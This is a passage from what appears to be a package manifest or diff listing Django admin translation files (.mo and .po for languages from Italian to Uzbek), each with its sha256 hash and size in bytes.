-django/contrib/admin/locale/it/LC_MESSAGES/djangojs.po,sha256=LpmJI8bX08L08IgK9TW2qS8FcKfY-Z825LzzWsUiUVk,6512 -django/contrib/admin/locale/ja/LC_MESSAGES/django.mo,sha256=Cvue4zVcYA-3T0l6jKFglMDhzqNeLuGKKdTZ-JsZM4o,19945 -django/contrib/admin/locale/ja/LC_MESSAGES/django.po,sha256=DpjilJj0IrkqRNsegdDCs9_VzokjHA8j8NIXrg6Th4U,21521 -django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.mo,sha256=XBOtJbkByhQEMUxvnqSr1XhBCe-DsII4Ke5pISJZAb8,6233 -django/contrib/admin/locale/ja/LC_MESSAGES/djangojs.po,sha256=SrJeh3-t73Z2gY7nVP01cgZE6H11pryDms1pqrQKjnw,6968 -django/contrib/admin/locale/ka/LC_MESSAGES/django.mo,sha256=n33wMaQ3bUTJYif0xA8qzIC7mNh7z3M3pZrm23JGho0,18396 -django/contrib/admin/locale/ka/LC_MESSAGES/django.po,sha256=9671xMS7zW5bgE5OmDskZdLcI9fDLL4qZekN0n-y7ZA,23001 -django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.mo,sha256=GlPU3qUavvU0FXPfvCl-8KboYhDOmMsKM-tv14NqOac,5516 -django/contrib/admin/locale/ka/LC_MESSAGES/djangojs.po,sha256=jDpB9c_edcLoFPHFIogOSPrFkssOjIdxtCA_lum8UCs,6762 -django/contrib/admin/locale/kab/LC_MESSAGES/django.mo,sha256=9QKEWgr8YQV17OJ14rMusgV8b79ZgOOsX4aIFMZrEto,3531 -django/contrib/admin/locale/kab/LC_MESSAGES/django.po,sha256=cSOG_HqsNE4tA5YYDd6txMFoUul8d5UKvk77ZhaqOK0,11711 -django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.mo,sha256=nqwZHJdtjHUSFDJmC0nPNyvWcAdcoRcN3f-4XPIItvs,1844 -django/contrib/admin/locale/kab/LC_MESSAGES/djangojs.po,sha256=tF3RH22p2E236Cv6lpIWQxtuPFeWOvJ-Ery3vBUv6co,3713 -django/contrib/admin/locale/kk/LC_MESSAGES/django.mo,sha256=f2WU3e7dOz0XXHFFe0gnCm1MAPCJ9sva2OUnWYTHOJg,12845 -django/contrib/admin/locale/kk/LC_MESSAGES/django.po,sha256=D1vF3nqANT46f17Gc2D2iGCKyysHAyEmv9nBei6NRA4,17837 -django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.mo,sha256=cBxp5pFJYUF2-zXxPVBIG06UNq6XAeZ72uRLwGeLbiE,2387 -django/contrib/admin/locale/kk/LC_MESSAGES/djangojs.po,sha256=Y30fcDpi31Fn7DU7JGqROAiZY76iumoiW9qGAgPCCbU,4459 -django/contrib/admin/locale/km/LC_MESSAGES/django.mo,sha256=eOe9EcFPzAWrTjbGUr-m6RAz2TryC-qHKbqRP337lPY,10403 -django/contrib/admin/locale/km/LC_MESSAGES/django.po,sha256=RSxy5vY2sgC43h-9sl6eomkFvxClvH_Ka4lFiwTvc2I,17103 -django/contrib/admin/locale/km/LC_MESSAGES/djangojs.mo,sha256=Ja8PIXmw6FMREHZhhBtGrr3nRKQF_rVjgLasGPnU95w,1334 -django/contrib/admin/locale/km/LC_MESSAGES/djangojs.po,sha256=LH4h4toEgpVBb9yjw7d9JQ8sdU0WIZD-M025JNlLXAU,3846 -django/contrib/admin/locale/kn/LC_MESSAGES/django.mo,sha256=955iPq05ru6tm_iPFVMebxwvZMtEa5_7GaFG1mPt6HU,9203 -django/contrib/admin/locale/kn/LC_MESSAGES/django.po,sha256=-4YAm0MyhS-wp4RQmo0TzWvqYqmzHFNpIBtdQlg_8Dw,16059 -django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.mo,sha256=kJsCOGf62XOWTKcB9AF6Oc-GqHl2LFtz-qw0spjcU_w,1847 -django/contrib/admin/locale/kn/LC_MESSAGES/djangojs.po,sha256=zzl7QZ5DfdyNWrkIqYlpUcZiTdlZXx_ktahyXqM2-0Q,5022 -django/contrib/admin/locale/ko/LC_MESSAGES/django.mo,sha256=p6KdJ_N_6ldE11GUVBTdqxkUxbNOpuyZIdUKBRx0ylI,18653 -django/contrib/admin/locale/ko/LC_MESSAGES/django.po,sha256=DId5G03Rq5i9fIZ8Q21q2ebvtMnDhCyAL_D8-ZPln6E,20882 -django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.mo,sha256=wZ2hHD7BJgl855rxKburyumBSS7ECkL3kqNv2col5mo,5985 -django/contrib/admin/locale/ko/LC_MESSAGES/djangojs.po,sha256=qvndtDKv_TIoeYuEErRb62oSaCeS2iFYkjyZ4m8YKHI,6899 -django/contrib/admin/locale/ky/LC_MESSAGES/django.mo,sha256=eg-TnIzJO4h3q_FS2a1LnCs7qOf5dpNJwvRD99ZZ0GQ,20129 -django/contrib/admin/locale/ky/LC_MESSAGES/django.po,sha256=dWxU3yUAKHUGKdVJbRLkS6fJEefPBk2XM0i2INcRPms,21335 -django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.mo,sha256=VuBYBwFwIHC27GFZiHY2_4AB0cME2R0Q3juczjOs3G0,5888 -django/contrib/admin/locale/ky/LC_MESSAGES/djangojs.po,sha256=uMk9CxL1wP45goq2093lYMza7LRuO4XbVo5RRWlsbaE,6432 -django/contrib/admin/locale/lb/LC_MESSAGES/django.mo,sha256=8GGM2sYG6GQTQwQFJ7lbg7w32SvqgSzNRZIUi9dIe6M,913 -django/contrib/admin/locale/lb/LC_MESSAGES/django.po,sha256=PZ3sL-HvghnlIdrdPovNJP6wDrdDMSYp_M1ok6dodrw,11078 -django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.mo,sha256=xokesKl7h7k9dXFKIJwGETgwx1Ytq6mk2erBSxkgY-o,474 -django/contrib/admin/locale/lb/LC_MESSAGES/djangojs.po,sha256=fiMelo6K0_RITx8b9k26X1R86Ck2daQXm86FLJpzt20,2862 -django/contrib/admin/locale/lt/LC_MESSAGES/django.mo,sha256=SpaNUiaGtDlX5qngVj0dWdqNLSin8EOXXyBvRM9AnKg,17033 -django/contrib/admin/locale/lt/LC_MESSAGES/django.po,sha256=tHnRrSNG2ENVduP0sOffCIYQUn69O6zIev3Bb7PjKb0,18497 -django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.mo,sha256=vZtnYQupzdTjVHnWrtjkC2QKNpsca5yrpb4SDuFx0_0,5183 -django/contrib/admin/locale/lt/LC_MESSAGES/djangojs.po,sha256=dMjFClA0mh5g0aNFTyHC8nbYxwmFD0-j-7gCKD8NFnw,5864 -django/contrib/admin/locale/lv/LC_MESSAGES/django.mo,sha256=zK7XQX-c6k1Z4RRG51vyB5X_26Lqn04pT5uTINLrHPM,18542 -django/contrib/admin/locale/lv/LC_MESSAGES/django.po,sha256=WJxNigpPFjrRyo2yckHkQAXAi020jDwjF8WfvzTlxLA,20096 -django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.mo,sha256=5A8qvCy1kWVAURhIa6kuFg7Hmab2DM2myyNrc0YjtnU,5863 -django/contrib/admin/locale/lv/LC_MESSAGES/djangojs.po,sha256=C69gDh6sfIJJ-O1KzPm9QEGk0bSZ46ORUzjJZobF8GI,6789 -django/contrib/admin/locale/mk/LC_MESSAGES/django.mo,sha256=xcKetKf7XcO-4vbWEIoI2c40gRE2twuiINaby6ypO7Q,17948 -django/contrib/admin/locale/mk/LC_MESSAGES/django.po,sha256=hx2peq-wztDHtiST_zZ58c7rjZ6jSvDDXhVOTmyUDzI,21063 -django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.mo,sha256=8BkWjadml2f1lDeH-IULdxsogXSK8NpVuu293GvcQc8,4719 -django/contrib/admin/locale/mk/LC_MESSAGES/djangojs.po,sha256=u9mVSzbIgA1uRgV_L8ZOZLelyknoKFvXH0HbBurezf8,6312 -django/contrib/admin/locale/ml/LC_MESSAGES/django.mo,sha256=4Y1KAip3NNsoRc9Zz3k0YFLzes3DNRFvAXWSTBivXDk,20830 -django/contrib/admin/locale/ml/LC_MESSAGES/django.po,sha256=jL9i3kmOnoKYDq2RiF90WCc55KeA8EBN9dmPHjuUfmo,24532 -django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.mo,sha256=COohY0mAHAOkv1eNzLkaGZy8mimXzcDK1EgRd3tTB_E,6200 -django/contrib/admin/locale/ml/LC_MESSAGES/djangojs.po,sha256=NvN0sF_w5tkc3bND4lBtCHsIDLkwqdEPo-8wi2MTQ14,7128 -django/contrib/admin/locale/mn/LC_MESSAGES/django.mo,sha256=4F-sUl2nbogJa9uqKo9i-0Pz5zkxxZaKpnO_TBzohbw,21299 -django/contrib/admin/locale/mn/LC_MESSAGES/django.po,sha256=jWEucuA4qXgy-EPHkQgJtQjxxYj-TWl0Q5rhU6Ae_4Q,23291 -django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.mo,sha256=H7fIPdWTK3_iuC0WRBJdfXN8zO77p7-IzTviEUVQJ2U,5228 -django/contrib/admin/locale/mn/LC_MESSAGES/djangojs.po,sha256=vJIqqVG34Zd7q8-MhTgZcXTtl6gukOSb6egt70AOyAc,5757 -django/contrib/admin/locale/mr/LC_MESSAGES/django.mo,sha256=EjCGk0HN2GVziGRzauuCLc_27nku35v6RS7U2JT-0b8,21226 -django/contrib/admin/locale/mr/LC_MESSAGES/django.po,sha256=S4FBjh2JG08XYvKRTlPBV9vdhqG32TJGkVQn6Tr3RH0,24770 -django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.mo,sha256=2Z5jaGJzpiJTCnhCk8ulCDeAdj-WwR99scdHFPRoHoA,468 -django/contrib/admin/locale/mr/LC_MESSAGES/djangojs.po,sha256=uGe9kH2mwrab97Ue77oggJBlrpzZNckKGRUMU1vaigs,2856 -django/contrib/admin/locale/ms/LC_MESSAGES/django.mo,sha256=Xj5v1F4_m1ZFUn42Rbep9eInxIV-NE-oA_NyfQkbp00,16840 -django/contrib/admin/locale/ms/LC_MESSAGES/django.po,sha256=ykFH-mPbv2plm2NIvKgaj3WVukJ3SquU8nQIAXuOrWA,17967 -django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.mo,sha256=9VY_MrHK-dGOIkucLCyR9psy4o5p4nHd8kN_5N2E-gY,5018 -django/contrib/admin/locale/ms/LC_MESSAGES/djangojs.po,sha256=P4GvM17rlX1Vl-7EbCyfWVasAJBEv_RvgWEvfJqcErA,5479 -django/contrib/admin/locale/my/LC_MESSAGES/django.mo,sha256=xvlgM0vdYxZuA7kPQR7LhrLzgmyVCHAvqaqvFhKX9wY,3677 -django/contrib/admin/locale/my/LC_MESSAGES/django.po,sha256=zdUCYcyq2-vKudkYvFcjk95YUtbMDDSKQHCysmQ-Pvc,12522 -django/contrib/admin/locale/my/LC_MESSAGES/djangojs.mo,sha256=1fS9FfWi8b9NJKm3DBKETmuffsrTX-_OHo9fkCCXzpg,3268 -django/contrib/admin/locale/my/LC_MESSAGES/djangojs.po,sha256=-z1j108uoswi9YZfh3vSIswLXu1iUKgDXNdZNEA0yrA,5062 -django/contrib/admin/locale/nb/LC_MESSAGES/django.mo,sha256=viQKBFH6ospYn2sE-DokVJGGYhSqosTgbNMn5sBVnmM,16244 -django/contrib/admin/locale/nb/LC_MESSAGES/django.po,sha256=x0ANRpDhe1rxxAH0qjpPxRfccCvR73_4g5TNUdJqmrc,17682 -django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.mo,sha256=KwrxBpvwveERK4uKTIgh-DCc9aDLumpHQYh5YroqxhQ,4939 -django/contrib/admin/locale/nb/LC_MESSAGES/djangojs.po,sha256=ygn6a5zkHkoIYMC8Hgup8Uw1tMbZcLGgwwDu3x33M-o,5555 -django/contrib/admin/locale/ne/LC_MESSAGES/django.mo,sha256=yrm85YXwXIli7eNaPyBTtV7y3TxQuH4mokKuHdAja2A,15772 -django/contrib/admin/locale/ne/LC_MESSAGES/django.po,sha256=F8vfWKvSNngkLPZUIwik_qDYu0UAnrWepbI9Z9Iz35g,20400 -django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.mo,sha256=mJdtpLT9k4vDbN9fk2fOeiy4q720B3pLD3OjLbAjmUI,5362 -django/contrib/admin/locale/ne/LC_MESSAGES/djangojs.po,sha256=N91RciTV1m7e8-6Ihod5U2xR9K0vrLoFnyXjn2ta098,6458 -django/contrib/admin/locale/nl/LC_MESSAGES/django.mo,sha256=FKCQ39RbxWddBA-Id8W-hxgH0tkixJkVctP1laEXJEU,18565 -django/contrib/admin/locale/nl/LC_MESSAGES/django.po,sha256=zRaeZKxUZbi-0CL9BBr-X0j5HOJvvrJ94u8jw3sbaaA,20308 -django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.mo,sha256=iWjyDgay1LIiS6C-Zl33inFKxzM2LFQPIWyKEw2x6Is,6122 -django/contrib/admin/locale/nl/LC_MESSAGES/djangojs.po,sha256=xZjgzxEEWMG2ofgSfLNUU0abr9Y_cUpXIHsmjKBGyig,7217 -django/contrib/admin/locale/nn/LC_MESSAGES/django.mo,sha256=yAdb8Yew1ARlnAnvd5gHL7-SDzpkXedBwCSSPEzGCKk,16504 -django/contrib/admin/locale/nn/LC_MESSAGES/django.po,sha256=sFxr3UYzltQRqiotm_d5Qqtf8iLXI0LgCw_V6kYffJ0,17932 -django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.mo,sha256=RsDri1DmCwrby8m7mLWkFdCe6HK7MD7GindOarVYPWc,4939 -django/contrib/admin/locale/nn/LC_MESSAGES/djangojs.po,sha256=koVTt2mmdku1j7SUDRbnug8EThxXuCIF2XPnGckMi7A,5543 -django/contrib/admin/locale/os/LC_MESSAGES/django.mo,sha256=c51PwfOeLU2YcVNEEPCK6kG4ZyNc79jUFLuNopmsRR8,14978 -django/contrib/admin/locale/os/LC_MESSAGES/django.po,sha256=yugDw7iziHto6s6ATNDK4yuG6FN6yJUvYKhrGxvKmcY,18188 -django/contrib/admin/locale/os/LC_MESSAGES/djangojs.mo,sha256=0gMkAyO4Zi85e9qRuMYmxm6JV98WvyRffOKbBVJ_fLQ,3806 -django/contrib/admin/locale/os/LC_MESSAGES/djangojs.po,sha256=skiTlhgUEN8uKk7ihl2z-Rxr1ZXqu5qV4wB4q9qXVq0,5208 -django/contrib/admin/locale/pa/LC_MESSAGES/django.mo,sha256=EEitcdoS-iQ9QWHPbJBK2ajdN56mBi0BzGnVl3KTmU4,8629 -django/contrib/admin/locale/pa/LC_MESSAGES/django.po,sha256=xscRlOkn9Jc8bDsSRM5bzQxEsCLMVsV-Wwin0rfkHDI,16089 -django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.mo,sha256=Hub-6v7AfF-tWhw53abpyhnVHo76h_xBgGIhlGIcS70,1148 -django/contrib/admin/locale/pa/LC_MESSAGES/djangojs.po,sha256=7L8D4qqhq53XG83NJUZNoM8zCCScwMwzsrzzsyO4lHY,4357 -django/contrib/admin/locale/pl/LC_MESSAGES/django.mo,sha256=vEXmLs91RT5SDsHxg0_YPSBD6ebdykzTCssn3wBB3o0,19332 -django/contrib/admin/locale/pl/LC_MESSAGES/django.po,sha256=7mef7t_-rYkMMJqVGADhSasmInQDCYK1e0avjeEA24E,21262 -django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.mo,sha256=tJJS-jnZ4jhlVD-Y4cv6Z8VLpncNsNiG_F8bSeNIMJ0,6243 -django/contrib/admin/locale/pl/LC_MESSAGES/djangojs.po,sha256=NAUXRaDGWCdQUc72ddPHPqGLmgUpTZioG8z192WzAwE,7442 -django/contrib/admin/locale/pt/LC_MESSAGES/django.mo,sha256=X-OQSJtwknzY4mxbbcSPDPByLdXDs8dAJ3I7kDyMl3w,18410 -django/contrib/admin/locale/pt/LC_MESSAGES/django.po,sha256=21uwgQYsVCu9PWWO0DYriAZeeotqDcjqix1dZlWX0gw,20338 -django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.mo,sha256=i-axQzjqvApQ0LPULaZpvrXTZsaNxsqqU4SFsF6tP_A,4667 -django/contrib/admin/locale/pt/LC_MESSAGES/djangojs.po,sha256=bIWMMsCL2VlZi-XYfRYwYub__w7xI-VX71jQJ12IAeY,6245 -django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.mo,sha256=VFGVGpK6iSfh1bIwz_99Ioah4LOQR0GHdKCIaSFuQKs,18810 -django/contrib/admin/locale/pt_BR/LC_MESSAGES/django.po,sha256=qW8ZpwonsMz1PhLPDMPKNCoz05S2Yczl4t-njKxH-ZQ,21437 -django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.mo,sha256=xvi5ZdYPvbQ9xDFLn8B_twhZeP77rPUOj42nEoeI1IY,6329 -django/contrib/admin/locale/pt_BR/LC_MESSAGES/djangojs.po,sha256=-8OovJeLBnTxCEXDf8IPlhoMB_k6De6dxMcV9Jzr1Yw,7492 -django/contrib/admin/locale/ro/LC_MESSAGES/django.mo,sha256=SEbnJ1aQ3m2nF7PtqzKvYYCdvgg_iG5hzrdO_Xxiv_k,15157 -django/contrib/admin/locale/ro/LC_MESSAGES/django.po,sha256=wPfGo9yi3j28cwikkogZ_erQKtUZ9WmzdZ2FuMVugFE,18253 -django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.mo,sha256=voEqSN3JUgJM9vumLxE_QNPV7kA0XOoTktN7E7AYV6o,4639 -django/contrib/admin/locale/ro/LC_MESSAGES/djangojs.po,sha256=SO7FAqNnuvIDfZ_tsWRiwSv91mHx5NZHyR2VnmoYBWY,5429 -django/contrib/admin/locale/ru/LC_MESSAGES/django.mo,sha256=scHv1IpdVCHwdVVxWAdW1Q0yT7SgoLz6paIYWiLZIEA,24187 -django/contrib/admin/locale/ru/LC_MESSAGES/django.po,sha256=OeUyRdR9uihQ912OU1cPPCD1nnkVqt_y46ENTI6SlUE,25938 -django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.mo,sha256=TE4M5XbCJ3tX4pTzyTbLG_xjtCtqZzVg1ZXSxeSXgcU,8392 -django/contrib/admin/locale/ru/LC_MESSAGES/djangojs.po,sha256=owCCQnZqwfIOG3zZucZPwOh47TnDS59ItQwzYeEexvM,9546 -django/contrib/admin/locale/sk/LC_MESSAGES/django.mo,sha256=W1zA58jQsXhHMxwHi6m99yEwV3ku6MtlJgMxdQwpz-E,18945 -django/contrib/admin/locale/sk/LC_MESSAGES/django.po,sha256=p603cCupx37wBIStl1wGm7m_FEmNiZT25aPULwyb18o,20578 -django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.mo,sha256=sl2PRwXLtikrOiHJ_EEltZivpV5IwT5lmbyfpGCSrLo,6305 -django/contrib/admin/locale/sk/LC_MESSAGES/djangojs.po,sha256=-ZcKl0UxOObVuB_8My20fdjCrV51drP4w-yan3X-RKk,7275 -django/contrib/admin/locale/sl/LC_MESSAGES/django.mo,sha256=rBSsaXNtCo43Cri9Gq_Ueq2IUNMBmzOV6lgMm7xF_p0,15077 -django/contrib/admin/locale/sl/LC_MESSAGES/django.po,sha256=ywIn4PB3xg6Q27NARZ3JRmSvNhcRFKU8nF_gbgA93qg,18281 -django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.mo,sha256=chhBmd2IkeOONuRlRsOnrPAEbS0tlH4w-G8YKVNRsNI,6146 -django/contrib/admin/locale/sl/LC_MESSAGES/djangojs.po,sha256=8mrwhJ1Geg5TEvJY40COC7bZl7cyIecRhLyqLjBqBAQ,6975 -django/contrib/admin/locale/sq/LC_MESSAGES/django.mo,sha256=TjnBVlaEf0HO0__Utcgr-2SnyGG6Lw6QYRmYj6yjcwQ,18247 -django/contrib/admin/locale/sq/LC_MESSAGES/django.po,sha256=QgzzyulFel5dx28KHCvopbbMdsLJSyfry3mF8GKaNJU,19909 -django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.mo,sha256=RKoR8Vy1B2hygTolUKdjIGVdXPnH-E5VvMK5r3lkAak,5682 -django/contrib/admin/locale/sq/LC_MESSAGES/djangojs.po,sha256=uPSheZAzII01ZIrLq6iua2Qkm7oUgLLZGqdDiWMVxIA,6462 -django/contrib/admin/locale/sr/LC_MESSAGES/django.mo,sha256=1NOxq8YqqjMVS7nfzF3jlkUHt3rt-b3OB7-3Y6hIONo,23210 -django/contrib/admin/locale/sr/LC_MESSAGES/django.po,sha256=Nm14mY9Q0hVnCEjLSw-nIRYuPenpVhD5mUcZSM_pvhA,24554 -django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.mo,sha256=7y-ONe9ozHDPTyw6sVZf5_e6DZvtcFVY20p37wLzKVs,6814 -django/contrib/admin/locale/sr/LC_MESSAGES/djangojs.po,sha256=tqmD6zMNA6HyY45nO8wNU7ZTKNwAfrdeifnfOVAJk78,7648 -django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.mo,sha256=fyhceLRR3MhL8CCYTQn4k4t95cpsCeh-UGk7F1cCTXU,18522 -django/contrib/admin/locale/sr_Latn/LC_MESSAGES/django.po,sha256=zemHOPBXqeKXKKoHtXr_YLVdYiSW6_1h6Fufp4pMeyY,33080 -django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.mo,sha256=sjBvAdlw-uoZ2ADihhA-9q2xQ3X8x2BZ3BSNwKBnuls,5724 -django/contrib/admin/locale/sr_Latn/LC_MESSAGES/djangojs.po,sha256=-iyPz2KS3rX3DJhyLpRpbCbJS-jL7uwSElv721mMAyo,6512 -django/contrib/admin/locale/sv/LC_MESSAGES/django.mo,sha256=Db4YZlgM2DVL1ApUTz9H6er4qNg6zKInv0D0ZGrFLEM,17447 -django/contrib/admin/locale/sv/LC_MESSAGES/django.po,sha256=J_0RqJHg8O6tGb5H1bBdY62LZEQ5yuCBfPQUsZcL_ho,19564 -django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.mo,sha256=o0ExbIeEhV8xPC62BLMaaNEw8vQ1JSeYVwUTY4SZjwo,5938 -django/contrib/admin/locale/sv/LC_MESSAGES/djangojs.po,sha256=J7KNDezuRJfGIt4-z1-Mm2cKf9lGODrEScs3w3n88y0,6937 -django/contrib/admin/locale/sw/LC_MESSAGES/django.mo,sha256=kiy4ZiBR6SIzF3SIqC3dNLTUDncZ9qjTdiG1AkIuuXk,17698 -django/contrib/admin/locale/sw/LC_MESSAGES/django.po,sha256=Km7ETJkQTpQUyp1r4mEpa3d_rCLbwh4n5DnYF6JLCxc,19082 -django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.mo,sha256=p0pi6-Zg-qsDVMDjNHO4aav3GfJ3tKKhy6MK7mPtC50,3647 -django/contrib/admin/locale/sw/LC_MESSAGES/djangojs.po,sha256=lZFP7Po4BM_QMTj-SXGlew1hqyJApZxu0lxMP-YduHI,4809 -django/contrib/admin/locale/ta/LC_MESSAGES/django.mo,sha256=ZdtNRZLRqquwMk7mE0XmTzEjTno9Zni3mV6j4DXL4nI,10179 -django/contrib/admin/locale/ta/LC_MESSAGES/django.po,sha256=D0TCLM4FFF7K9NqUGXNFE2KfoEzx5IHcJQ6-dYQi2Eg,16881 -django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.mo,sha256=2-37FOw9Bge0ahIRxFajzxvMkAZL2zBiQFaELmqyhhY,1379 -django/contrib/admin/locale/ta/LC_MESSAGES/djangojs.po,sha256=Qs-D7N3ZVzpZVxXtMWKOzJfSmu_Mk9pge5W15f21ihI,3930 -django/contrib/admin/locale/te/LC_MESSAGES/django.mo,sha256=aIAG0Ey4154R2wa-vNe2x8X4fz2L958zRmTpCaXZzds,10590 -django/contrib/admin/locale/te/LC_MESSAGES/django.po,sha256=-zJYrDNmIs5fp37VsG4EAOVefgbBNl75c-Pp3RGBDAM,16941 -django/contrib/admin/locale/te/LC_MESSAGES/djangojs.mo,sha256=VozLzWQwrY-USvin5XyVPtUUKEmCr0dxaWC6J14BReo,1362 -django/contrib/admin/locale/te/LC_MESSAGES/djangojs.po,sha256=HI8IfXqJf4I6i-XZB8ELGyp5ZNr-oi5hW9h7n_8XSaQ,3919 -django/contrib/admin/locale/tg/LC_MESSAGES/django.mo,sha256=gJfgsEn9doTT0erBK77OBDi7_0O7Rb6PF9tRPacliXU,15463 -django/contrib/admin/locale/tg/LC_MESSAGES/django.po,sha256=Wkx7Hk2a9OzZymgrt9N91OL9K5HZXTbpPBXMhyE0pjI,19550 -django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.mo,sha256=SEaBcnnKupXbTKCJchkSu_dYFBBvOTAOQSZNbCYUuHE,5154 -django/contrib/admin/locale/tg/LC_MESSAGES/djangojs.po,sha256=CfUjLtwMmz1h_MLE7c4UYv05ZTz_SOclyKKWmVEP9Jg,5978 -django/contrib/admin/locale/th/LC_MESSAGES/django.mo,sha256=EVlUISdKOvNkGMG4nbQFzSn5p7d8c9zOGpXwoHsHNlY,16394 -django/contrib/admin/locale/th/LC_MESSAGES/django.po,sha256=OqhGCZ87VX-WKdC2EQ8A8WeXdWXu9mj6k8mG9RLZMpM,20187 -django/contrib/admin/locale/th/LC_MESSAGES/djangojs.mo,sha256=ukj5tyDor9COi5BT9oRLucO2wVTI6jZWclOM-wNpXHM,6250 -django/contrib/admin/locale/th/LC_MESSAGES/djangojs.po,sha256=3L5VU3BNcmfiqzrAWK0tvRRVOtgR8Ceg9YIxL54RGBc,6771 -django/contrib/admin/locale/tk/LC_MESSAGES/django.mo,sha256=f51Ug7txuVeDo1WAywl6oi1aVi1ZJrv94rD4svUobm8,2845 -django/contrib/admin/locale/tk/LC_MESSAGES/django.po,sha256=AXMpn9mSO24azMC5CPHqPZRq-cbk6IpPpaF3Ab3K54k,13309 -django/contrib/admin/locale/tr/LC_MESSAGES/django.mo,sha256=_Mr4BwOhbNColpMONLhdMXkjNk8dUZkxUZp4Ycg7tKo,18754 -django/contrib/admin/locale/tr/LC_MESSAGES/django.po,sha256=ZrO_ZfuutjlqmOYuDWKK3XIBwZF9ekSMkdE4sNNxtSw,20262 -django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.mo,sha256=ztEhUjpzv7KgWJKAqt9u-C050mgbAo1IIcqYDWN-54U,5561 -django/contrib/admin/locale/tr/LC_MESSAGES/djangojs.po,sha256=85ZszztzTP8toRtF44lV1wyAk4A-AyeJNw-3I4moS1c,6345 -django/contrib/admin/locale/tt/LC_MESSAGES/django.mo,sha256=ObJ8zwVLhFsS6XZK_36AkNRCeznoJJwLTMh4_LLGPAA,12952 -django/contrib/admin/locale/tt/LC_MESSAGES/django.po,sha256=VDjg5nDrLqRGXpxCyQudEC_n-6kTCIYsOl3izt1Eblc,17329 -django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.mo,sha256=Sz5qnMHWfLXjaCIHxQNrwac4c0w4oeAAQubn5R7KL84,2607 -django/contrib/admin/locale/tt/LC_MESSAGES/djangojs.po,sha256=_Uh3yH_RXVB3PP75RFztvSzVykVq0SQjy9QtTnyH3Qk,4541 -django/contrib/admin/locale/udm/LC_MESSAGES/django.mo,sha256=2Q_lfocM7OEjFKebqNR24ZBqUiIee7Lm1rmS5tPGdZA,622 -django/contrib/admin/locale/udm/LC_MESSAGES/django.po,sha256=L4TgEk2Fm2mtKqhZroE6k_gfz1VC-_dXe39CiJvaOPE,10496 -django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.mo,sha256=CNmoKj9Uc0qEInnV5t0Nt4ZnKSZCRdIG5fyfSsqwky4,462 -django/contrib/admin/locale/udm/LC_MESSAGES/djangojs.po,sha256=ZLYr0yHdMYAl7Z7ipNSNjRFIMNYmzIjT7PsKNMT6XVk,2811 -django/contrib/admin/locale/ug/LC_MESSAGES/django.mo,sha256=1U-qjdk6839W4p5g4PL0l5GsehEwM-iPgMgzbvlmZ8Y,23241 -django/contrib/admin/locale/ug/LC_MESSAGES/django.po,sha256=0--xGDGJR01cIhmxISWl23PnRY2xvkKSHUMJLqfCyeA,24559 -django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.mo,sha256=xC3-Xz8R95NL6EkVKvUuPX4jCwnNA_0sq6PvWEKbZ5I,7306 -django/contrib/admin/locale/ug/LC_MESSAGES/djangojs.po,sha256=V3UuGjeYLnfV151Yn_X0QrAYwfqMe6WvoyWJ1QnKsjo,7927 -django/contrib/admin/locale/uk/LC_MESSAGES/django.mo,sha256=S52JL_rhqQRuGtxsz-eZH81FLsJP1AXSE-FA6x_PoCo,22476 -django/contrib/admin/locale/uk/LC_MESSAGES/django.po,sha256=5oZX750hZlGcHhloPU4radKjz6o3FSp-fwd4cUFe60A,24789 -django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.mo,sha256=mC4E13RjlLqAtsIDCtimSqW96IOIcYIgiD2ddggzFtw,5186 -django/contrib/admin/locale/uk/LC_MESSAGES/djangojs.po,sha256=BMhVrEO5nI2yYIKqSd4FfS7rtKFvsYk_O2olgMidp4M,7088 -django/contrib/admin/locale/ur/LC_MESSAGES/django.mo,sha256=HvyjnSeLhUf1JVDy759V_TI7ygZfLaMhLnoCBJxhH_s,13106 -django/contrib/admin/locale/ur/LC_MESSAGES/django.po,sha256=BFxxLbHs-UZWEmbvtWJNA7xeuvO9wDc32H2ysKZQvF4,17531 -django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.mo,sha256=eYN9Q9KKTV2W0UuqRc-gg7y42yFAvJP8avMeZM-W7mw,2678 -django/contrib/admin/locale/ur/LC_MESSAGES/djangojs.po,sha256=Nj-6L6axLrqA0RHUQbidNAT33sXYfVdGcX4egVua-Pk,4646 -django/contrib/admin/locale/uz/LC_MESSAGES/django.mo,sha256=yKpKebwX6RzUwCkvHzEQ_DFRr7x_nGeACRBP0PljTCQ,4634 